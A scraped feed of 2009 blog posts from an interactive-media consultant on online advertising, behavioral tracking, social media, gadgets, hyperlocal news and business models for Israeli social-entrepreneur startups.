Richtel again: “when you check your device, you basically get the equivalent of a dopamine squirt. Well, if you get that little candy when you check your email and you check your phone, in its absence you start to feel bored.”

And when you feel bored, you want a new squirt. So what do you do? You send out a text or an email or a Tweet, or you initiate a Facebook chat, all in the hope that you’ll get a response. It becomes an endless loop.

What does all this mean for Internet advertisers and publishers? Perhaps this: If you want to get your message out, steer clear of banner ads and choose more interruptive media. Build up your social media fans and followers. And keep them guessing as to when the next big announcement will arrive in their inboxes.

————

The interview, by the way, was part of a larger discussion on “distracted driving” amid new laws forbidding texting while behind the wheel – see Matt’s articles here. The implications for advertisers when it comes to potentially fatal social media behavior are far more ominous.

]]> https://bluminteractivemedia.com/2009/10/addicted-to-email-and-why-thats-important-for-marketers/feed/ 7 Consumers Really, Really Don’t Like Behavioral Tracking https://bluminteractivemedia.com/2009/09/consumers-really-really-dont-like-behavioral-tracking/ https://bluminteractivemedia.com/2009/09/consumers-really-really-dont-like-behavioral-tracking/#comments Wed, 30 Sep 2009 11:37:28 +0000 https://bluminteractivemedia.com/?p=183

BullseyeFollowing up on my previous post, it appears that consumers are not so happy with behavioral tracking on the Internet. According to a new survey from professors at the University of Pennsylvania and the University of California at Berkeley, two-thirds of Americans object to being tracked by advertisers. And if those consumers learn exactly how they’re being followed, the percentage increases even more.

The study, reported today in The New York Times, was conducted by telephone not via the web and included 1,000 adult Internet users. Some of the highlights:

  • Tailored ads in general did not appeal to 66 percent of respondents. More important: 55 percent of those in the 18-24 group were opposed to being tracked (somewhat of a surprise given that anecdotal evidence says that Facebook users don’t mind handing over personal information).
  • When the respondents were told that part of that tailoring was tracking what they were doing on specific websites, an additional 7 percent said those ads were not OK.
  • And when they learned that tracking was also being done on additional websites, another 18 percent were upset.
  • The worst: when respondents learned that advertisers could track them offline, the percent of disgruntled consumers jumped an additional 20 percent.
  • On the other hand, 51 percent said it was OK to follow them if it meant customized discounts and 58 percent didn’t mind getting tailored news.

The survey is bound to fuel the legal ambitions of lawmakers looking to score points with privacy ravaged Americans. Representative Rick Boucher of Virginia and David Vladeck, head of consumer protection for the FTC, say they both are looking at data privacy issues closely.

On the question of laws, the survey found that:

  • 69 percent of American adults feel there should be a law that gives people the right to know everything that a website knows about them.
  • 92 percent agree there should be a law that requires “websites and advertising companies to delete all stored information about an individual, if requested to do so.”
  • 63 percent believe advertisers should be required by law to immediately delete information about their Internet activity.

Marketers of course argue that, without advertising, free content couldn’t exist online. There’s no debating that. The issue, as I posed in my previous post, is that consumers have a right to know – and to opt out – of being followed without their knowledge during their travels on the net.

Would that there was such a backlash at the casinos.

You can download the full 27-page report from The Times website.

]]> https://bluminteractivemedia.com/2009/09/consumers-really-really-dont-like-behavioral-tracking/feed/ 26 Casinos, Behavioral Tracking and You https://bluminteractivemedia.com/2009/09/casinos-behavioral-tracking-and-you/ https://bluminteractivemedia.com/2009/09/casinos-behavioral-tracking-and-you/#comments Tue, 29 Sep 2009 14:27:12 +0000 https://bluminteractivemedia.com/?p=176

Harrah'sI was listening to an old episode of one of my favorite NPR shows and podcasts, Radio Lab. The topic was how we choose and it featured a fascinating and highly disturbing story that has relevance to anyone involved in the Internet today.

It turns out that in the world of gambling, the casino chain Harrah’s is the undisputed leader. The reason? All visitors must first join a “loyalty” program. Since signing up grants the gambler a nice credit of a few bucks, no one says no. Once you get your card, you have to insert it in the slot machine whenever you want to play.

What happens next is that Harrah’s tracks everything you do at the slots – how long you stay, what machines you play, how much you spend. By crunching the numbers, Harrah’s knows your specific pain threshold and at what point you’ll have lost enough to quit.

Harrah’s staff in the back room tracks everything and when the computer flags someone coming close to their limit, a member of Harrah’s floor staff approaches the soon-to-give-up gambler and intervenes, offering a free steak dinner, or another $15 credit or even tickets to a show that evening. The result: the gambler keeps gambling.

When I first heard this, I was appalled. How could a casino be so manipulative? (Well, they’re already manipulative, but this seemed over the top.) And how could gamblers be so gullible as to give the casino access to their personal behaviors.

But then I realized that what Harrah’s is doing is really no different than what’s happening online today. Advertisers using behavioral targeting are tracking your every move on the web – which sites you linger on, how long you stay in one place, what links you click on. The advertiser then knows to serve up the right ad at the right time and place.

Let’s say you just left Cars.com and are now at The New York Times. If the two companies both use the same tracking service, it’s easy for The Times to serve up an auto ad even though you’ve long since left Cars.com.

And how about mobile GPS services? We give up our privacy so that we can receive customized ads and coupons for restaurants in the vicinity of where we’re walking or driving. We see that as valuable – hey, I just got 10% off – but aren’t you being manipulated in exactly the same way as at the casino? Minority Report isn’t so far away.

I’m not saying that we should turn off our cookies – often times those ads can be valuable – and in any case, it’s largely impractical given the way the Internet operates. But we should be aware of what’s happening around us and make sure that we know when we’ve given our permission to be manipulated.

]]> https://bluminteractivemedia.com/2009/09/casinos-behavioral-tracking-and-you/feed/ 18 Entrepreneurs: Not What You Think https://bluminteractivemedia.com/2009/09/entrepreneurs-not-what-you-think/ https://bluminteractivemedia.com/2009/09/entrepreneurs-not-what-you-think/#comments Tue, 22 Sep 2009 10:34:00 +0000 https://bluminteractivemedia.com/?p=163

Entrepreneurship

As I entered my late 40s, I began to despair that I had passed my entrepreneurial “prime.” After all, aren’t the biggest successes software geeks barely in their 20s. Gates, Jobs, Zuckerberg. I founded my most recent startup, Bloggerce, at the ripe old age of 45.

But a new report entitled “The Anatomy of an Entrepreneur” from the Kauffman Foundation of Entrepreneurship says my expiration date has not quite gone ripe. You can download the full report, which surveyed 549 entrepreneurs, for free. There are lots of juicy bits beyond age. The top take-aways:

  • The average and median age of company founders when they started their current companies was 40.
  • 95.1 percent of respondents had earned bachelor’s degrees, and 47 percent had more advanced degrees.
  • Less than 1 percent came from extremely rich or extremely poor backgrounds
  • 15.2 percent of founders had a sibling that previously started a business (my brother heads DrClue.com – does that count?)
  • 69.9 percent of respondents indicated they were married when they launched their first business (take that all you single software guys and gals!)
  • 59.7 percent of respondents indicated they had at least one child when they launched their first business, and 43.5 percent had two or more children.
  • The majority of the entrepreneurs in the sample were serial entrepreneurs. The average number of businesses launched by respondents was approximately 2.3.
  • 74.8 percent indicated a desire to build wealth as an important motivation in becoming an entrepreneur (and I thought it was all about “changing the world”).
  • Only 4.5 percent said the inability to find traditional employment was an important factor in starting a business.
  • The majority of respondents (75.4 percent) had worked as employees at other companies for more than six years before launching their own companies.

Thanks to Dharmesh Shah writing on his On Startups blog for summarizing the 24-page report so elegantly.

]]> https://bluminteractivemedia.com/2009/09/entrepreneurs-not-what-you-think/feed/ 16 Why the New iPod Nano is a Game Changer https://bluminteractivemedia.com/2009/09/why-the-new-ipod-nano-is-a-game-changer/ https://bluminteractivemedia.com/2009/09/why-the-new-ipod-nano-is-a-game-changer/#comments Thu, 10 Sep 2009 08:58:54 +0000 https://bluminteractivemedia.com/?p=95

Video capabilities are a game changer

Video capabilities are a game changer

There was lots to like in yesterday’s iPod announcements from Apple. But the most important was the addition of a camera and video functionality to the venerable iPod Nano. Apple practically invented the MP3 market and continues to dominate player sales. The iPhone changed consumer’s perceptions about what a fully-featured smart phone must include.

Now Apple is expanding its reach into video, directly taking on the popular Flip as an in-your-pocket always there live motion recording device. What’s significant is that it’s a completely new market for Apple and if the company applies its usual business savvy, it could grab significant market share.

Yes, it’s true that the iPhone already allows you to take video, but that device is much larger – too big, for me at least, to comfortably fit in a pocket. And with the required phone contract, it’s nowhere near as cheap as a Nano – $150 for an 8 GB unit that records in 640×480 quality (that’s twice the memory as the Flip, by the way).

It’s also true that nearly every cell phone sold today can take video, but if you’ve ever seen the quality of the resulting clips, you’ll be underwhelmed.

I can’t tell you how many times I’ve wanted to snap some video but didn’t want to lug around my Canon camcorder, which itself was much smaller than my previous Hi8 machine. On our recent vacation, I brought the Canon but never took it out of my backpack. Not once.

The video quality of the new Nano should be about that of the original Flip and the pricing is identical. That’s not quite what I’d want – the $199 Flip HD takes much better video, and I’m sure Apple will release a Nano HD, though we may have to wait awhile. Apple has given the Nano a few special effects, but not the fancy video editing that the iPhone has.

One downside (and it’s a biggie): the Nano ONLY takes video. You can’t use it as a still camera. That means I’ll have to lug around a regular digital camera. And there’s no wireless (not that I expected that) like the iPhone where you can post those candid videos online immediately.

Why no stills? Steve Jobs told The New York Times that adding high pixel resolution including autofocus would have bulked up the device too much.

All told, if Apple executes well on this one, it could definitely be a game changer in the pocket video space, meaning even more YouTube videos of cats flushing toilets and fat kids waving light sabers. But for businesses it will also mean faster product demos, shots from conferences, interviews, home video tours (great for Realtors), and even documentation of in-house meetings.

Two other new features of note in the improved Nano:

FM radio tuner

A number of years ago, I bemoaned the fact that no iPod could pick up radio stations. When I visit a country outside of Israel, I enjoy listening to the local radio stations. It gives me a feel for a city’s vibe. But now I rarely listen to terrestrial radio, preferring Internet-only stations like Radio Paradise and WOXY.

The iPod Nano’s radio tuner has some cool features – like the ability to pause your broadcast up to 15 minutes and to see which song is playing, then click to buy it later from iTunes – but for the most part this feature seems too little too late.

Pedometer

The Nano has long been Apple’s iPod of choice for joggers like me who primarily want a small device that you can strap on your arm. So the addition of a pedometer is a welcome feature. How many kilometers is that one-hour jog? Now I’ll know without having to carry a second device.

There are other goodies in the new Nano too that bring it closer to the app-centric Touch and iPhone without sacrificing its sleek form factor. Now, what I’d really like? A tiny iPhone, the size of a Nano. No rumors yet, but knowing Apple, anything is possible.

]]> https://bluminteractivemedia.com/2009/09/why-the-new-ipod-nano-is-a-game-changer/feed/ 14 Simple and Effective Intro Videos https://bluminteractivemedia.com/2009/09/simple-and-effective-intro-videos/ https://bluminteractivemedia.com/2009/09/simple-and-effective-intro-videos/#comments Mon, 07 Sep 2009 15:29:06 +0000 https://bluminteractivemedia.com/?p=90

My colleague and friend Jay Bailey has launched RapidFire Video, a new company that creates simple but effective “intro” videos for startups and more established companies. The basic idea is that a straightforward, lightly animated short can quickly convey a company’s message without requiring a huge upfront expense. Think of it as a calling card for your site. Here’s an example:

But the real opportunity, Jay says, is to attach your video intro to an email you’re sending to follow up with a potential customer or partner you just met at a networking meeting. RapidFire videos are small – no more than a couple of MB – which makes them appropriate for posting to YouTube or Facebook as well as via email.

Jay has a very fun style – he chooses often irreverent graphics that make you smile. I’m thinking of having him create a video calling card for Blum Interactive Media. He says the price of a RapidFire video can be as much as 3/4 off the price of a big Flash design house. And he offers a nice discount for referrals – so if you use him, tell him I sent you.

So far there are videos for Ruder Finn PR, Answers.com, Fring and Bite2Eat.

]]> https://bluminteractivemedia.com/2009/09/simple-and-effective-intro-videos/feed/ 6 A Social Media Proposal https://bluminteractivemedia.com/2009/08/a-social-media-proposal/ https://bluminteractivemedia.com/2009/08/a-social-media-proposal/#comments Sat, 08 Aug 2009 19:04:26 +0000 https://bluminteractivemedia.com/?p=60

This is what social media is all about…a wedding proposal via YouTube and posted to Facebook. It’s in Hebrew, but you get the idea.

]]> https://bluminteractivemedia.com/2009/08/a-social-media-proposal/feed/ 70900 Move over Twitter, Here Comes Flutter https://bluminteractivemedia.com/2009/08/move-over-twitter-hear-comes-flutter/ https://bluminteractivemedia.com/2009/08/move-over-twitter-hear-comes-flutter/#comments Tue, 04 Aug 2009 08:21:01 +0000 https://bluminteractivemedia.com/?p=56

There have been some very funny social media parodies that have swept the web. CollegeHumor’s Web Site Story and the BBC’s What if Facebook Were Real?

The latest to come across my desk is this take on a new nano-blogging service with a maximum of 26 character updates: Flutter. Enjoy!

]]> https://bluminteractivemedia.com/2009/08/move-over-twitter-hear-comes-flutter/feed/ 19 Business Advice for Social Entrepreneurs https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/ https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/#comments Mon, 03 Aug 2009 14:57:10 +0000 https://bluminteractivemedia.com/?p=1

As the 16 “social entrepreneurs” took to the stage last Thursday to present their 15-second “elevator pitch,” I was filled with anticipation. What would the next generation of hi-tech founders come up with?

Here were some of Israel’s best and brightest, hand selected by the Presentense organization which aims to arm young people who want to do good with solid business skills and knowledge.

And at first glance, the strategy has paid off handsomely. The participants in the Presentense “launch night” were confident and personable. The first ever publicly presented elevator pitches on their would-be companies – from subjects as diverse as fostering peace in the Middle East to making prayer more accessible – were polished and presentable; none would have been out of place in a corporate board room.

After the on-stage performance, each Presentense “fellow” manned a table equipped with a laptop, business cards and printed collateral material for the 500 or so guests to peruse and pocket.

As I weaved between the entrepreneurs’ pitches, I found myself enthralled by the creativity…but confused by the business models behind many of these pre-seed startups. It’s not that Presentense didn’t prepare its participants properly; it’s more the nature of social change-focused non-profits which have lofty goals but that all too often rely on philanthropy not profits.

But I’m feeling up to the challenge. So let me here present some of the projects that most stood out for me, and let’s brainstorm together on how each could, if not actually generate enough revenue to make its founders rich, at least sustain itself as a social entrepreneurial success.

CreaTV

As a media guy, I found CreaTV fascinating – a marketplace of sorts matching up amateur movie makers with professionals to develop quality products for YouTube or broadcast television. CreaTV is targeting the Israeli market initially and will reach out to students at Israel cinema schools. Founder Elad Kimelman describes himself as an “enthusiastic Zionist” who believes that Jewish-produced media can help bind together the Israeli and Diaspora Jewish communities.

Kimelman hopes that the company will generate projects that receive funding from Israeli production companies; CreaTV would then take a cut. That’s not a bad idea, but unless there are a lot of financed productions, it’s hard to see how the site will sustain itself in the interim. YouTube is drowning under bandwidth costs and parent Google still hasn’t figured out how to sufficiently monetize the site.

A Vimeo model, where CreaTV charges for video storage above a certain monthly file size and bandwidth limit might work (although rumors are that Vimeo is in financial trouble). CreaTV could also adopt the approach of recruitment classifieds, charging a fee when a match is made. But that seems to go against the company’s do-good goal of fostering partnerships.

MediaMidrash

MediaMidrash is another media startup that I liked a lot. Founders Russel Neiss, a librarian, and Charlie Schwartz, a rabbinic student at JTS, dream of creating a site where all of the Jewish videos in the world could be uploaded for teachers to use in school classes. Moreover, teachers could include curriculum to enhance the videos (from both the videomakers themselves and independent instructors who find the videos useful).

My first job back 20 years ago was as the at the San Francisco Bureau of Jewish Education’s media department. I was in charge of taking orders from teachers and sending out films, VHS tapes and even filmstrips (remember those?) I would have loved a computerized database like MediaMidrash.

Again the question: how will this make money? I spoke with Neiss who said it was a low cost operation and that he could run it while keeping his day job. I pointed out that, if MediaMidrash takes off, bandwidth and storage costs will quickly outstrip a volunteer job. The company’s documentation talks about offering premium services such as creating custom video and course material, staff training and websites.

In general, I think this “freemium” model – where you give away most of the content for free and upsell paid services – is the way to go. But creating new video and course content will require specialized staff – whether in-house or outsourced – and the mark-up in order to keep the company going (and pay its founders) may prove prohibitive to Jewish day schools already suffering in a post-Madoff era. Let’s hope that’s not the case.

JewTo

Jewto.com is a great name that founder Melissa Berg somehow snagged – finding a short and catchy URL like that is almost unheard of these days. Berg wants to create a mashup of Craigslist-like classifieds with a global guide to Jewish resources. Think every kosher restaurant in the world and mezuzas for sale.

Berg talked to me about hiring staff to write about all things Jewish in your city, but a more scalable model would be ape Yelp, the popular U.S. reviews and rankings site, where regular readers like you and me write the reviews of restaurants, dentists, bars, beauty salons and more. No need to pay when users contribute for the fame and glory.

Jewto can then upsell premium placement – such as your restaurant at the top of the listings (clearly marked as sponsored of course) – along with tools such as table booking, menu listings and take out. Yelp also sells display advertising – so should Jewto.

Berg should also look into partnering with fellow Israeli startup Bite 2Eat for the restaurant booking functionality as well a to look into whether Yelp or a similar site licenses its engine to third parties.

Jewto is a huge project but the business model – if done right (and it will need VC financing to pull off) – has real potential.

Peula

Did you ever receive crappy service from a store or government office? Wanted to complain but didn’t know how? Peula.com is here to help. The company is building a system to automate letter writing and to gather support from similarly minded aggrieved individuals online. Peula then sends your complaint on the right person.

Peula’s secret sauce is that when the target of your complaint responds, the reply is sent to all of the people listed on your e-complaint which means the responsible party’s response is tracked publicly.

Peula hopes this will differentiate it from its already formidable competition. In Israel, there’s atzuma.co.il, tluna.co.il, and shout.co.il. In the U.S. and U.K., companies like PlanetFeedback and HowtoComplain, and even the Better Business Bureau provide similar services – all for free.

Since the competition doesn’t charge, neither can Peula. Ads and sponsorships on the site are the company’s main business prospects. Allowing users to print letters for a fee, as founder Romi Shamai suggested to me, doesn’t make a lot of sense – users could too easily just copy and paste. There are probably additional added value tools Peula could add that I haven’t thought of yet.

The Open Siddur Project

Perhaps my favorite entrepreneur of the evening was Aharon Varady who is trying to create an online siddur (prayer book) with versions and commentaries from every source imaginable – from Rashi to Jewish Renewal plus user-contributed content. Spiritual seekers could then mix and match how they want to pray and print out their own personal siddur. “Imagine if the first siddur presented to a day school student was actually crafted by that student over the course of a year while being introduced to the liturgy in class,” Varady says.

As someone who struggles with prayer myself, I would love to have a site like Open Siddur. Varady is committed to “keeping this resource completely free.” So how to make money? Varady hopes to charge for printed copies through partnerships with print-on-demand printers.

But what would keep someone from simply generating their on their home printer? Those of us in the Internet publishing business have all learned the hard way that users won’t pay for content online. The print-on-demand model could work, but since each siddur would be customized for the individual, the volume would be low and as a result any partnership revenue from the POD guys would be similarly small.

Selling services around the siddur project – Jewish designers, calligraphers, scholars and even freelance editors – and taking a cut might be a better direction.

The Israel-Asia Center

The Israel-Asia Center seems to be the most mature project in the 2009 Presentense fellows program. The company already has a working website – a news magazine focused on “promoting partnerships between Israel, the Jewish people and Asia, with a strong focus on China.”

The management team includes an Israeli professor in China, and founder Rebecca Zeffert, a PR specialist and Chinese Studies graduate. They’re backed by a 20-member volunteer team in Israel, China, the U.S. and India. The company also has an impressive advisory board.

The Israel-Asia Center’s business model also makes sense: use the website as a platform for selling services – course syllabi on Israel-China relations, speaking engagements, briefings and exchange programs.

Given the growth of China as the world’s second largest economy and Israel’s already existing ties with the Asian giant, I give a hearty thumbs up to Zeffert and crew.

There were a bunch of other entrepreneurs at the event that I didn’t get a chance to talk with. Will they all succeed? Certainly not. Do they deserve to? Absolutely. Do I have all the answers? Not a chance. But this is just a start; some friendly advice, and I have no doubt these fledgling startups will receive plenty more.

What do you think? Which directions would you point these worthwhile endeavors. Drop me a line or leave a comment on the blog.

]]> https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/feed/ 23 Backfence Founder Shares Tips on Hyperlocal https://bluminteractivemedia.com/2009/07/tips-on-how-to-make-hyperlocal-work/ https://bluminteractivemedia.com/2009/07/tips-on-how-to-make-hyperlocal-work/#comments Fri, 31 Jul 2009 13:31:02 +0000 https://bluminteractivemedia.com/?p=101

Mark Potts, co-founder of the defunct hyperlocal citizen-journalism experiment BackFence, shared some thoughts on lessons he learned during his tenure at the company. While “some of BackFence’s problems were internal and self-inflicted,” Potts is still “very optimistic that a similar model can and will succeed.

We’ll summarize Potts’s main points here, but the full article, published in 2007, has timeless advice.

Potts, by the way, has already moved on and started an ad-services group aimed at helping hyper-local and vertical/niche sites generate more revenue. GrowthSpur, which includes an impressive team of ex-newspaper execs, is focusing on technology, training and ad-networking to improve ad sales.

— Engage the community. “ It’s not about technology, it’s not about journalism, it’s not about whizbang Web 2.0 features. It’s about bringing community members together to share what they know about what’s going on around town,” Potts says. “A top-down, ‘if you build it, they will come’ strategy absolutely does not work.”

— It’s not journalism – it’s a conversation. “The magic of hyperlocal sites is that they provide a forum for community members to share and discuss what’s going on around town.”

— Hyper-local content is really mundane – at least to outsiders looking in. “But for residents of a particular community, it’s very relevant. Mundane is a competitive advantage.”

— Trust the audience. BackFence never became a nasty free-for-all due to a number of tools – required registration to post comments, profanity filters, “report misconduct” buttons on every page. As a result, the need for BackFence to take down content “happened just a handful of times over two plus years.”

— Focus on strong, well-defined communities. “We chose them because they had a strong, well-focused sense of place and community pride—I live here, I don’t live over there.” Don’t try to cover too large a geographic area.

— Leverage social networking. “The rise of MySpace, Flickr, YouTube and the commercial version of Facebook—virtually all of which have happened since Backfence launched more than two years ago—demonstrates the power of social media.” Backfence, Potts says, never took proper advantage of social media.

— Local advertising is robust. “Local advertisers are eager for new online advertising vehicles. We sold ads to more than 400 advertisers, more than any other similarly sized hyper-local effort that I’m aware of.”

— Keep costs down. “The BackFence formula averaged about one staffer per community site, and in retrospect, that probably was too rich.”

— Piggyback on a print or broadcast partner’s existing community relationships and marketing power. “It’s very, very difficult to start from scratch in a community and get to critical mass without help.”

— Hyperlocal is really hard. “ Anybody who’s run a hyper-local site will tell you that it takes a couple of years just to get to a point where you’ve truly got a vibrant online community. It takes even longer to turn that into a viable business.” Backfence failed essentially because, although it raised $3 million, it couldn’t sustain itself long enough.

Ultimately, Potts says that he believes that at the core, “user-generated hyper-local citizens’ media is sound. If there’s anything I’ve learned from BackFence, it’s that the power and potential of local communities still is waiting to be tapped.”

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/tips-on-how-to-make-hyperlocal-work/feed/ 7 More People Share Links on Facebook than Email https://bluminteractivemedia.com/2009/07/social-networks-trump-email-for-content-sharing/ https://bluminteractivemedia.com/2009/07/social-networks-trump-email-for-content-sharing/#comments Thu, 30 Jul 2009 14:01:29 +0000 https://bluminteractivemedia.com/?p=110

Publishers who want to more widely distribute their content should pay attention to new data from AddToAny. According to the firm, more people use Facebook to share links than any other service, including e-mail.

Facebook accounts for 24 percent of uses of a widget created and marketed by AddToAny to share links to articles, videos and other content. E-mail came in at only 11.1 percent.

Yahoo’s properties, which include Delicious, Yahoo Bookmarks, Yahoo Buzz and Yahoo Messenger, came in second at 14.4 percent. Twitter came in third with 10.8 percent.

The results from this report are important. Most newspapers distribute headline and breaking news via e-mail, but how many have a regular publishing strategy focused on social media applications? Yet that’s where the sharing, re-publishing and re-tweeting is happening, not with forwarded e-mails.

The data isn’t all that surprising. Already in March, a Nielsen report, “Global Faces and Networked Places,” found that by the end of 2008, social networking had overtaken e-mail in terms of worldwide reach. According to the report, 66.8 percent of Internet users across the globe accessed “member communities”—social networking or blogging sites—compared with 65.1 percent for e-mail.

Nielsen also found that social communities accounted for nearly 10 percent of all Internet time.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/social-networks-trump-email-for-content-sharing/feed/ 6 YouTube is Embracing Hyperlocal https://bluminteractivemedia.com/2009/07/hyperlocal-is-coming-to-youtube/ https://bluminteractivemedia.com/2009/07/hyperlocal-is-coming-to-youtube/#comments Thu, 30 Jul 2009 13:50:30 +0000 https://bluminteractivemedia.com/?p=104

Hyperlocal is coming to YouTube. The Google-owned video-sharing giant has invited the more than 25,000 news sources listed on Google News to become video suppliers. The site is also promoting videos from ABC News, The Associated Press, Reuters and other outlets.

YouTube’s hyperlocal trick is to match your location with news from your area (in YouTube’s case, that could mean as far away as 100 miles). Through its “News Near You” feature, the site is already distributing hometown video from dozens of sources, and says it wants to add thousands more. Ultimately the goal, speculates The New York Times, is to engineer newscasts on the fly.

So far, most of the videos on YouTube aren’t coming from mainstream TV outlets. You’ll see panoply of college newspapers and radio stations and amateur filmmakers. But that doesn’t devalue the potential. And of course homemade video from Iran already made news when distributed by YouTube last month.

To date, nearly 200 news outlets have signed up with YouTube to post news. Google search results now show YouTube videos alongside news articles. News providers split the revenue from any advertisements that appear with them.

The new YouTube program shouldn’t run into the same controversy that has plagued Google News recently: news outlets sign up as explicit partners.

For newspapers, distribution of video news via YouTube could have additional revenue opportunities: links to classifieds pages can now be embedded directly into videos. These links could be keyed to the specific content of a video (a review of a new car could like to the automotive classifieds). Or it could be a more generic link back to the publisher’s classifieds section (or for that matter wherever the paper wants the link to go).

That might be the first revenue-generating application of YouTube’s new program. But newspapers should keep their eye on the program and, we’d suggest, jump in early to grab mindshare and credibility in the brave new YouTube news world.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/hyperlocal-is-coming-to-youtube/feed/ 22 Tweets Come to the Western Wall https://bluminteractivemedia.com/2009/07/tweets-come-to-the-western-wall/ https://bluminteractivemedia.com/2009/07/tweets-come-to-the-western-wall/#comments Thu, 23 Jul 2009 14:12:21 +0000 https://bluminteractivemedia.com/?p=118

Have you ever wanted to place a note in the Western Wall but couldn’t afford the ticket to Jerusalem? Now you can tweet it.

It’s traditional to place short notes in the cracks of the Western Wall stones asking for health, livelihood and other personal requests. Now, a new Israeli Web site launched two weeks allows petitioners to submit their prayers or wishes via Twitter. The notes are then printed out and regularly taken to Jerusalem’s Old City.

Twitter is ideal for such a service: the 140-character limitation forces the religiously-minded to keep their requests short. It also allows site founder, Alon Nir of Tel Aviv, to consolidate a number of messages onto a single sheet of paper.

Nir doesn’t see the project more as cultural than religious. “I thought of it after understanding Twitter’s power and wondered what I could do with it,” he said. “So I linked the Western Wall to the millions using Twitter.”

One drawback: since the service uses Twitter, the notes are all public. Didn’t we all learning that telling someone what you wish for means it won’t come true?

The site is at http://www.tweetyourprayers.info/. You can follow the service at http://twitter.com/TheKotel (Kotel is the Hebrew for Western Wall). The site already has 546 followers.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/tweets-come-to-the-western-wall/feed/ 19 Mom and Pop’s Using Twitter – How Can You Tap in? https://bluminteractivemedia.com/2009/07/mom-and-pop%e2%80%99s-using-twitter-how-can-you-tap-in/ https://bluminteractivemedia.com/2009/07/mom-and-pop%e2%80%99s-using-twitter-how-can-you-tap-in/#comments Thu, 23 Jul 2009 14:07:32 +0000 https://bluminteractivemedia.com/?p=116

An article in The New York Times about Twitter got us thinking. The piece by Claire Cain Miller discusses how small businesses are increasingly using Twitter as their main form of advertising. It cites a man in San Francisco who opened a pushcart selling crème brulee. 5,400 people are now following him to find out where his roaming restaurant will be on any given day and what’s the flavor of the month.

In another example, a sushi restaurant that tweets about what fish is the freshest that day, is receiving up to five new customers a night.

We’ve always thought of Twitter as a kind of bi-polar entity, attracting individuals who insist on informing everyone when their plane is delayed and big brands like Moonfruit who give away computers to generate buzz.

But if the mom and pops are finding Twitter their best form of advertising, how can publishers who want to attract those hyper-local customers utilize the medium?

Here’s an idea: offer to link a small business’s tweets into your larger classified sales channel. For example, could a Twittering business cross post automatically to their own followers as well as a newspaper’s followers? That of course would require some infrastructure to generate tweets from listings, but we’re seeing that already with many of the large job boards jumping on the Twitter bandwagon.

Or could offering to broadcast classifieds via a publisher’s larger Twitter stream be a possible upsell opportunity for a newspaper? Even if it’s free, it might be a way to lure back customers who have left their local outlet to join a large Internet classifieds pure play.

There are undoubtedly many models to consider here. The critical point to consider is that if the mom and pop’s are migrating to Twitter, you need to be there too.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/mom-and-pop%e2%80%99s-using-twitter-how-can-you-tap-in/feed/ 125 Amazon vs. Barnes and Noble in the Battle of the E-Readers https://bluminteractivemedia.com/2009/07/amazon-vs-barnes-and-noble-in-the-battle-of-the-e-readers/ https://bluminteractivemedia.com/2009/07/amazon-vs-barnes-and-noble-in-the-battle-of-the-e-readers/#comments Wed, 22 Jul 2009 14:58:10 +0000 https://bluminteractivemedia.com/?p=137

The battle of the e-readers is heating up. Barnes and Noble has announced it has entered into an exclusive agreement to sell the upcoming device from Plastic Logic. The unit competes directly with the Amazon Kindle DX – both are about the same size – although the Plastic Logic device is spiffier in our opinion – all touch screen, no controls at all. It weight about 13 ounces.

Both the Kindle DX and Plastic Logic devices are highly anticipated to become large size useful digital newspaper readers.

Plastic Logic also announced that AT&T will be providing the wireless backbone for its machine. The Kindle uses Sprint and provides it for free to Kindle owners. Will Plastic Logic do the same?

The AT&T deal is a bit strange since Apple’s uber-popular iPhone runs on the same network. If both get big, AT&T may have trouble keeping up.

Plastic Logic will also build WiFi into the device, another feature the Kindle doesn’t have. A third device – the Sony Reader – doesn’t have WiFi at all (although it does have a touch screen).

Plastic Logic talked up its deal with Barnes and Noble on Fox Business. Video here. The Plastic Reader device will launch in “early 2010,” the company’s VP of biz dev said on Fox Business.

Barnes and Noble, which is looking for any corner to cut these days, seems to be betting on e-books. Their newly announced e-book store has 700,000 titles (with plans to increase to a million by next year) vs. 300,000 at Amazon. Of those, however, half a million are public domain books from Google. Barnes and Noble’s titles won’t be exclusive to Plastic Logic reading – they’ll be open format and will work on the iPhone and iPod Touch a well as BlackBerrys and most laptops and desktops.

As a result, Amazon may be forced to embrace more formats (and we hope lower the ridiculously high prices on its Kindles).

One other cool thing announced during Barnes and Noble’s Monday conference call – a free iPod app that lets users snap a picture of a book (presumably in a Barnes and Noble store) and use that to get product details, editorial reviews, and customer ratings via their mobile device. Neat.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

]]> https://bluminteractivemedia.com/2009/07/amazon-vs-barnes-and-noble-in-the-battle-of-the-e-readers/feed/ 17 Charging for Content: FT.com Editor Weighs In https://bluminteractivemedia.com/2009/07/charging-for-content-ft-com-editor-weighs-in/ https://bluminteractivemedia.com/2009/07/charging-for-content-ft-com-editor-weighs-in/#comments Mon, 20 Jul 2009 15:02:35 +0000 https://bluminteractivemedia.com/?p=141

The U.K. Financial Times’ editor Lionel Barber said during a public speech last week that he confidently predicts “that within the next 12 months, almost all news organizations will be charging for content.”

“News organizations with specialist skills and knowledge have the opportunity to thrive. The mediocre middle is much more at risk,” he continued.

What would make a news organization more distinctive? “It could be sports or celebrity coverage or simply a long-standing reputation for standing up for the common man – or woman,” Barber said. Once the niche is determined, it will be critical “to establish an online platform capable of charging for content, whether on a payment per article basis or a package subscription.”

Barber lauded FT.com’s frequency model, “whereby a limited number of articles on the web are offered as free ‘tasters’ before users are asked to subscribe.”

He ended with a cautionary note: “Without new revenue streams, quality journalism will wither.”

You can read the full transcript of Barber’s speech here.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

